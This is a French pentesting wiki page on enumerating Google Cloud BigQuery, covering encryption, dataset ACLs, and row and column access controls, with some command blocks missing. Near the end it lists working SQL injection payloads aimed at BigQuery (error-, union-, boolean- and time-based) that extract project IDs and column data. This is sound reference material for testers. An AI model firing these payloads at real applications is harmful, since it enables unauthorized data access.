GCP - Bigquery Enum
Informations de base
Google Cloud BigQuery est un entrepôt de données d'entreprise entièrement géré et sans serveur, offrant des capacités d'analyse sur des pétaoctets de données, permettant ainsi de gérer efficacement des ensembles de données à grande échelle. En tant que Plateforme en tant que Service (PaaS), il fournit aux utilisateurs une infrastructure et des outils pour faciliter la gestion des données sans nécessiter de surveillance manuelle.
Il prend en charge les requêtes en utilisant ANSI SQL. Les principaux objets sont des ensembles de données contenant des tables contenant des données SQL.
Chiffrement
Par défaut, une clé de chiffrement gérée par Google est utilisée bien qu'il soit possible de configurer une clé de chiffrement gérée par le client (CMEK). Il est possible d'indiquer la clé de chiffrement par ensemble de données et par table à l'intérieur d'un ensemble de données.
Expiration
Il est possible d'indiquer un temps d'expiration dans l'ensemble de données afin que toute nouvelle table créée dans cet ensemble de données soit automatiquement supprimée le nombre de jours spécifié après sa création.
Sources externes
Bigquery est profondément intégré à d'autres services Google. Il est possible de charger des données à partir de buckets, de pub/sub, de Google Drive, de bases de données RDS...
ACL des ensembles de données
Lorsqu'un ensemble de données est créé, des ACL sont attachées pour donner accès à celui-ci. Par défaut, les privilèges Propriétaire sont accordés à l'utilisateur qui a créé l'ensemble de données, puis Propriétaire au groupe projectOwners (propriétaires du projet), Écrivain au groupe projectWriters et Lecteur au groupe projectReaders:
Contrôle d'accès aux lignes de table
Il est possible de contrôler les lignes auxquelles un principal pourra accéder à l'intérieur d'une table avec des politiques d'accès aux lignes. Celles-ci sont définies à l'intérieur de la table en utilisant DDL. La politique d'accès définit un filtre et seules les lignes correspondantes à ce filtre seront accessibles par les principaux indiqués.
Contrôle d'accès aux colonnes
Pour restreindre l'accès aux données au niveau des colonnes :
Définissez une taxonomie et des balises de stratégie. Créez et gérez une taxonomie et des balises de stratégie pour vos données. https://console.cloud.google.com/bigquery/policy-tags
Facultatif : Accordez le rôle de Lecteur fin de catalogue de données à un ou plusieurs principaux sur une ou plusieurs des balises de stratégie que vous avez créées.
Attribuez des balises de stratégie à vos colonnes BigQuery. Dans BigQuery, utilisez des annotations de schéma pour attribuer une balise de stratégie à chaque colonne pour laquelle vous souhaitez restreindre l'accès.
Appliquez le contrôle d'accès sur la taxonomie. L'application du contrôle d'accès entraîne l'application des restrictions d'accès définies pour toutes les balises de stratégie de la taxonomie.
Gérez l'accès aux balises de stratégie. Utilisez les politiques d'identité et d'accès (IAM) pour restreindre l'accès à chaque balise de stratégie. La politique est en vigueur pour chaque colonne appartenant à la balise de stratégie.
Lorsqu'un utilisateur tente d'accéder aux données de colonnes au moment de la requête, BigQuery vérifie la balise de stratégie de la colonne et sa politique pour voir si l'utilisateur est autorisé à accéder aux données.
En résumé, pour restreindre l'accès à certaines colonnes à certains utilisateurs, vous pouvez ajouter une balise à la colonne dans le schéma et restreindre l'accès des utilisateurs à la balise en appliquant le contrôle d'accès sur la taxonomie de la balise.
Pour appliquer le contrôle d'accès sur la taxonomie, il est nécessaire d'activer le service :
Il est possible de voir les tags des colonnes avec :
Noms de colonnes et de tables :
Autres ensembles de données dans le même projet :
Types d'injection SQL :
Basé sur les erreurs - casting :
select CAST(@@project_id AS INT64)
Basé sur les erreurs - division par zéro :
' OR if(1/(length((select('a')))-1)=1,true,false) OR '
Basé sur l'union :
UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
Basé sur le booléen :
' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#
Potentiellement basé sur le temps - Exemple d'utilisation de jeux de données publics :
SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000
Documentation :
Liste de toutes les fonctions : https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators
Instructions de script : https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting
Élévation de privilèges et post-exploitation
pageGCP - BigQuery PrivescPersistance
pageGCP - BigQuery PersistenceRéférences
Dernière mise à jour